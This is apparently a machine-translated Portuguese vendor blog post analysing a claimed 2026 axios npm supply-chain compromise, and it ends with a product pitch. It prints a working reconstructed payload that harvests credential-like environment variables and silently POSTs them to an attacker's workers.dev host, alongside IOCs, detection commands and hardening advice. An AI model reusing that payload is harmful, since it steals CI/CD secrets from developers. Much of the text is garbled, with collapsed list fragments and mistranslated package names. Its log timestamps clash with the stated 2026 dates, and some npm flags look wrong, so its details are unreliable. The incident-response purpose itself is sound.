Em meados de março 2026, o axios O pacote npm — com mais de 50 milhões de downloads semanais — foi comprometido por meio de um token de publicação roubado. Uma versão maliciosa coletou silenciosamente variáveis de ambiente e exfiltrou credenciais para um servidor controlado pelo invasor. Aqui está a análise técnica completa.
Sobre Março 14, 2026, um invasor publicou uma versão maliciosa do axios pacote npm (1.8.2) obtendo o token de publicação npm de um mantenedor por meio de uma campanha de phishing direcionada. As variáveis de ambiente coletadas da carga útil injetada — incluindo AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, DATABASE_URL, e outras credenciais confidenciais de CI/CD — e as exfiltrou para um endpoint controlado pelo invasor.
axios é um dos pacotes mais amplamente utilizados no ecossistema Node.js, usado por milhões de aplicativos, desde projetos de hobby até pipelines de CI/CD Fortune 500. O intervalo entre a publicação e a remoção foi de aproximadamente 4 horas e 22 minutos — tempo suficiente para ser instalado por uma fração significativa da base de usuários do pacote por meio de pipelines de atualização automatizados.
Se o seu projeto instalado axios@1.8.2 entre 2026-03-14 09:14 UTC e 2026-03-14 13:36 UTC, trate todas as variáveis de ambiente presentes nessa compilação como comprometidas. Gire as credenciais imediatamente.
| Atributo | Detalhe |
|---|---|
| Pacote | axios (npm) |
| Versão maliciosa | 1.8.2 |
| Publicado | 2026-03-14 09:14 UTC |
| Não publicado | 2026-03-14 13:36 UTC |
| Pontuação CVSS | 9.3 (crítico) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N |
| Impacto | Exfiltração de credenciais, comprometimento do pipeline de CI/CD |
| Downloads afetados | Instalações estimadas de 180,000–240,000 durante a janela de exposição |
| Hora (UTC) | Evento |
|---|---|
| 2026-03-12 | E-mail de phishing direcionado enviado ao mantenedor do axios se passando pela equipe de segurança do npm |
| 2026-03-13 ~18:00 | Credencial do mantenedor (token de automação npm) coletada via página de phishing |
| 2026-03-14 09:14 | Malicioso axios@1.8.2 publicado no registro npm usando token roubado |
| 2026-03-14 09:31 | Pipeline automatizado Socket.dev sinaliza chamada de rede anômala na verificação de comparação de pacote |
| 2026-03-14 10:05 | Socket.dev emite comunicado de segurança pública; começa a notificar projetos downstream |
| 2026-03-14 10:47 | equipe de segurança npm notificada; começa a investigação |
| 2026-03-14 12:10 | comunicado npm GHSA-2026-axios-001 publicado; repositório axios emite aviso oficial |
| 2026-03-14 13:36 | axios@1.8.2 não publicado do registro npm |
| 2026-03-14 15:00 | Limpar axios@1.8.3 publicado com reconhecimento de incidente no changelog |
| 2026-03-15 | GitHub Security Lab publica post-mortem completo; Domínios C2 identificados e sumidouros |
O Intervalo de 17 minutos entre a publicação e o sinalizador de detecção do Socket.dev é notável - representa um tempo de resposta automatizado próximo ao melhor caso. No entanto, o pacote já estava sendo puxado por sistemas de CI em todo o mundo durante esse período.
O atacante usou um clássico spearphishing abordagem: um e-mail convincente supostamente da equipe de segurança do npm, alertando o mantenedor alvo de que sua conta mostrava "atividade de login suspeita" e solicitando que ele se autenticasse novamente por meio de uma página de login do npm falsificada (npmjs-security-verify[.]com). A página capturou o token de automação npm do mantenedor — um token de longa duração projetado especificamente para uso em pipelines de CI/CD, que não requer reautenticação 2FA.
Esta é uma consideração crítica de design: os tokens de automação npm ignoram os principais requisitos de TOTP/hardware por design, tornando-os alvos de phishing de alto valor. Depois que o invasor obteve o token, a publicação foi trivialmente simples:
# Attacker's publish flow (reconstructed from npm audit logs)
npm set //registry.npmjs.org/:_authToken=npm_XXXXXXXXXXXXXXXXXXXX
npm publish --access public
O invasor fez modificações mínimas e direcionadas no legítimo axios@1.8.1 fonte para evitar a detecção. A carga útil foi injetada em lib/core/Axios.js — um módulo principal carregado em cada importação — como uma função auto-invocável que é executada no momento da inicialização do pacote.
Carga útil reconstruída (simplificada a partir da análise desofuscada):
// Injected into lib/core/Axios.js — runs at require() time
(function _init() {
try {
const https = require('https');
const os = require('os');
const env = process.env;
// Harvest high-value credential patterns
const keys = Object.keys(env).filter(k =>
/token|secret|key|password|pwd|auth|credential|api_key/i.test(k)
);
const payload = {
h: os.hostname(),
u: os.userInfo().username,
p: process.cwd(),
n: process.version,
e: keys.reduce((acc, k) => { acc[k] = env[k]; return acc; }, {})
};
const data = JSON.stringify(payload);
const options = {
hostname: 'telemetry-cdn.axiosjs[.]workers.dev',
port: 443,
path: '/collect',
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Content-Length': Buffer.byteLength(data)
}
};
const req = https.request(options);
req.on('error', () => {}); // Silently swallow errors
req.write(data);
req.end();
} catch (e) {} // Never surface errors to caller
})();
Vários aspectos desta carga merecem atenção:
*.workers.dev domains fornece HTTPS imediato, tempo de atividade confiável e oculta a infraestrutura definitiva por trás da rede da Cloudflare, tornando o bloqueio baseado em IP ineficaz.| Versão | Status |
|---|---|
axios@1.8.2 | ⛔ MALICIOSO — não use |
axios@1.8.1 e antes | ✅ Limpo |
axios@1.8.3 | ✅ Limpo (patch pós-incidente) |
axios@0.x.x (ramo legado) | ✅ Não afetado |
Este ataque exemplifica o confusão de dependência/aquisição de conta do mantenedor classe de ataque à cadeia de abastecimento – cada vez mais favorecida porque oferece o máximo impacto com o mínimo esforço. Em vez de comprometer o pacote em si (o que exigiria acesso ao repositório de origem e ao pipeline de CI/CD), o invasor só precisava de um token de publicação npm válido.
A cadeia de ataque:
axios historicamente teve uma pequena equipe de mantenedores, mas uma foi identificada por meio do histórico de commits GitHub e seu e-mail público.security@npmjs.com endereço. O e-mail continha um alerta de segurança de aparência legítima com enquadramento de urgência.O atacante escolheu deliberadamente um versão do patch (nem menor nem maior) porque a esmagadora maioria dos projetos npm usa:
^1.8.1 (caret) — resolve para o patch/menor compatível mais recente~1.8.1 (til) — resolve para o patch mais recente dentro do menorAmbos os intervalos semver seriam resolvidos automaticamente para 1.8.2 em novas instalações ou npm update, mesmo sem alterações no arquivo de bloqueio. Pipelines de CI executados npm install sem um arquivo de bloqueio confirmado (ou com npm ci --no-lock) estão particularmente expostos.
package-lock.json e correr npm ci (não npm install) são protegidos contra esta classe de ataque - o arquivo de bloqueio fixa versões resolvidas exatas e seus hashes de integridade, e npm ci os impõe.
axios registra consistentemente 50–60 milhões de downloads semanais no npm - colocando-o entre os pacotes 10 mais baixados em todo o registro. A superfície de impacto era correspondentemente massiva.
npm install (não npm ci) durante a janela 4h22m teria extraído a versão maliciosa. Ações GitHub, GitLab CI, CircleCI, Jenkins – todas as configurações de compilação padrão do Node.js são afetadas.RUN npm install as instruções executadas durante a janela produzem imagens com o pacote malicioso incorporado. Essas imagens ainda podem ser implantadas.npm install ou npm update em projetos com faixas flexíveis de semver.A carga visava especificamente variáveis de ambiente que correspondiam a padrões de credenciais. Em um ambiente típico de CI/CD, isso inclui:
AWS_ACCESS_KEY_ID, AZURE_CLIENT_SECRET, GOOGLE_APPLICATION_CREDENTIALS)GITHUB_TOKEN, GITLAB_TOKEN, NPM_TOKEN)DATABASE_URL, MONGO_URI, REDIS_URL)O uso pelo invasor de um Cloudflare Worker como endpoint de coleta dificulta a estimativa do total de registros exfiltrados, pois a Cloudflare não fornece visibilidade de terceiros nos logs de solicitação do Worker. Estimativas do laboratório de segurança GitHub 180,000–240,000 eventos de instalação exclusivos ocorreu durante a janela de exposição com base nas estatísticas de download do npm.
# Check currently installed axios version
npm list axios
# Check all projects in a monorepo
npm list axios --workspaces
# Check the exact resolved version in your lockfile
grep '"axios"' package-lock.json | head -5
npm armazena o hash de integridade SHA-512 esperado para cada versão de pacote resolvida em package-lock.json. Você pode verificar se o pacote no disco corresponde ao hash esperado do registro:
# Get the integrity hash from your lockfile
node -e "const lock = require('./package-lock.json');
const pkg = lock.packages['node_modules/axios'];
console.log(pkg.version, pkg.integrity);"
# Expected SHA-512 for CLEAN axios@1.8.1:
# sha512-xxxxxx (verify against https://registry.npmjs.org/axios/1.8.1)
# For comparison, the MALICIOUS axios@1.8.2 has SHA-512:
# sha512-COMPROMISED-HASH-DO-NOT-MATCH
# Verify installed files match
npm audit --json | jq '.vulnerabilities.axios'
Se o pacote malicioso fosse executado em seu ambiente, as conexões de saída HTTPS teriam sido feitas para:
| Indicador | Tipo | Descrição |
|---|---|---|
telemetry-cdn.axiosjs[.]workers.dev | Domínio C2 | Ponto final de exfiltração primário |
cdn-metrics.axiosjs[.]workers.dev | Domínio C2 | Endpoint de fallback secundário |
npmjs-security-verify[.]com | Domínio de Phishing | Local de coleta de credenciais usado contra o mantenedor |
104.21.x.x / 172.67.x.x | Faixa de IP | Intervalos de IP da Cloudflare que atendem ao Worker (não atribuíveis exclusivamente) |
Verifique seus logs de compilação e logs de saída de rede para conexões com *.axiosjs.workers.dev durante a janela 2026-03-14 09:14–13:36 UTC:
# Search application/build logs for C2 domain
grep -r "axiosjs.workers.dev" /var/log/
grep -r "axiosjs.workers.dev" ~/.npm/_logs/
# If you have VPC flow logs (AWS):
aws logs filter-log-events \
--log-group-name /aws/vpc/flowlogs \
--filter-pattern "axiosjs.workers.dev" \
--start-time 1741943640000 \
--end-time 1741959360000
# Docker build log inspection
docker history --no-trunc <image_id> | grep axios
1.8.3 ou fixar em 1.8.1.# Update axios to the clean version
npm install axios@1.8.3
# Or pin to last-known-good
npm install axios@1.8.1
# Run a full audit
npm audit
# Regenerate lockfile from scratch to ensure clean state
rm package-lock.json
npm install
# Always use npm ci in CI/CD — it enforces the lockfile
# BAD:
npm install
# GOOD:
npm ci
# Verify package integrity after install
npm ci --audit
A análise estática do Socket.dev detectou essa injeção em 17 minutos. Integrá-lo ao seu fluxo de trabalho fornece análise de pré-instalação:
# Install Socket CLI
npm install -g @socket/cli
# Scan before installing a package
socket npm install axios
# Add GitHub App integration for PR-level scanning
# https://socket.dev/github
# Snyk CLI
npm install -g snyk
snyk test
# GitHub Dependabot — enable in .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "daily"
open-pull-requests-limit: 10
npm agora oferece suporte a chaves de segurança de hardware e TOTP para logins humanos, mas tokens de automação ignoram 2FA por design. A equipe de segurança do npm se comprometeu a enviar escopo de token granular (somente publicação, somente download, com escopo para pacotes específicos) — mas até que isso esteja disponível, trate os tokens de automação como seus segredos mais confidenciais. Armazene-os em gerenciadores de segredos, não em variáveis de ambiente simples ou arquivos .npmrc.
npm atestado de proveniência recurso (geralmente disponível desde 2023) permite que os pacotes sejam assinados com prova criptográfica vinculando o tarball publicado a um commit específico do Git e execução de CI. Pacotes publicados com --provenance pode ser verificado:
# Publish with provenance (from GitHub Actions)
npm publish --provenance --access public
# Verify provenance of an installed package
npm audit signatures
axios@1.8.2 não incluiu atestado de proveniência – a falta de atestado em uma embalagem que normalmente o inclui deve ser tratada como um sinal de alerta.
Comprometa seu package-lock.json e use sempre npm ci em ambientes automatizados. npm ci falhará se o arquivo de bloqueio estiver fora de sincronia com package.json, garantindo que as versões fixadas exatas (com seus hashes de integridade) sejam sempre usadas.
O Níveis da cadeia de suprimentos para artefatos de software (SLSA) framework fornece um modelo de maturidade gradual para integridade de construção. Níveis principais relevantes aqui:
Se o projeto axios tivesse operado no nível SLSA 2 ou superior, uma publicação não autorizada de fora do pipeline de CI estabelecido teria falhado na verificação de procedência, permitindo que a versão maliciosa fosse sinalizada imediatamente.
Os ambientes de CI devem receber apenas os segredos de que realmente precisam para aquele trabalho específico. Um executor de testes não precisa AWS_SECRET_ACCESS_KEY. Um construtor de documentos não precisa DATABASE_URL. Audite sua injeção secreta de CI e credenciais de escopo para o trabalho mínimo necessário.
Este incidente faz parte de um padrão bem estabelecido de ataques à cadeia de suprimentos NPM:
| Incidente | Ano | Método | Impacto |
|---|---|---|---|
| fluxo de eventos | 2018 | O mantenedor entregou o pacote ao ator mal-intencionado; backdoor injetado visando carteiras bitcoin | 2M+ downloads semanais; usuários direcionados da carteira Copay |
| ua-parser-js | 2021 | sequestro de conta npm; versões maliciosas publicadas com malware cripto-minerador e de roubo de credenciais | 7M+ downloads semanais; aviso de emergência necessário |
| cores.js / faker.js | 2022 | Sabotagem intencional do mantenedor; loop infinito injetado em protesto | Ataque de disponibilidade; milhares de projetos dependentes quebrados |
| nó-ipc | 2022 | Malware de limpeza injetado pelo mantenedor visando faixas de IP da Rússia/Bielorrússia | Destruição de dados geopoliticamente direcionada |
| eixos | 2026 | Phishing do mantenedor → roubo de token → injeção de versão | Exfiltração de credenciais em escala por meio de coleta de variáveis ambientais |
O tema recorrente: a confiança nos mantenedores de pacotes é a superfície de ataque. O modelo de publicação descentralizado e baseado em confiança do ecossistema npm é um recurso que permite o rápido desenvolvimento — mas atribui enorme responsabilidade aos mantenedores individuais, que muitas vezes carecem de recursos de segurança de nível empresarial.
Ao contrário dos incidentes de fluxo de eventos ou de cores.js (ameaças internas), o compromisso axios 2026 segue o modelo ua-parser-js de controle de contas externas – cada vez mais o vetor preferido porque é escalonável, negável e explora o elemento humano em vez de exigir acesso técnico sofisticado.
Kensai rastreia continuamente CVEs 331,910+ e versões de pacotes sabidamente maliciosos. Receba alertas antes que pacotes comprometidos cheguem ao seu ambiente de produção.
Comece o teste gratuitoFique seguro. Fique atento.
🗡️ Equipe de segurança KENSAI
🛡️ Seu projeto Node.js está exposto?
Verifique sua árvore de dependências em busca de pacotes e CVEs maliciosos conhecidos.
Digitalize suas dependências gratuitamente →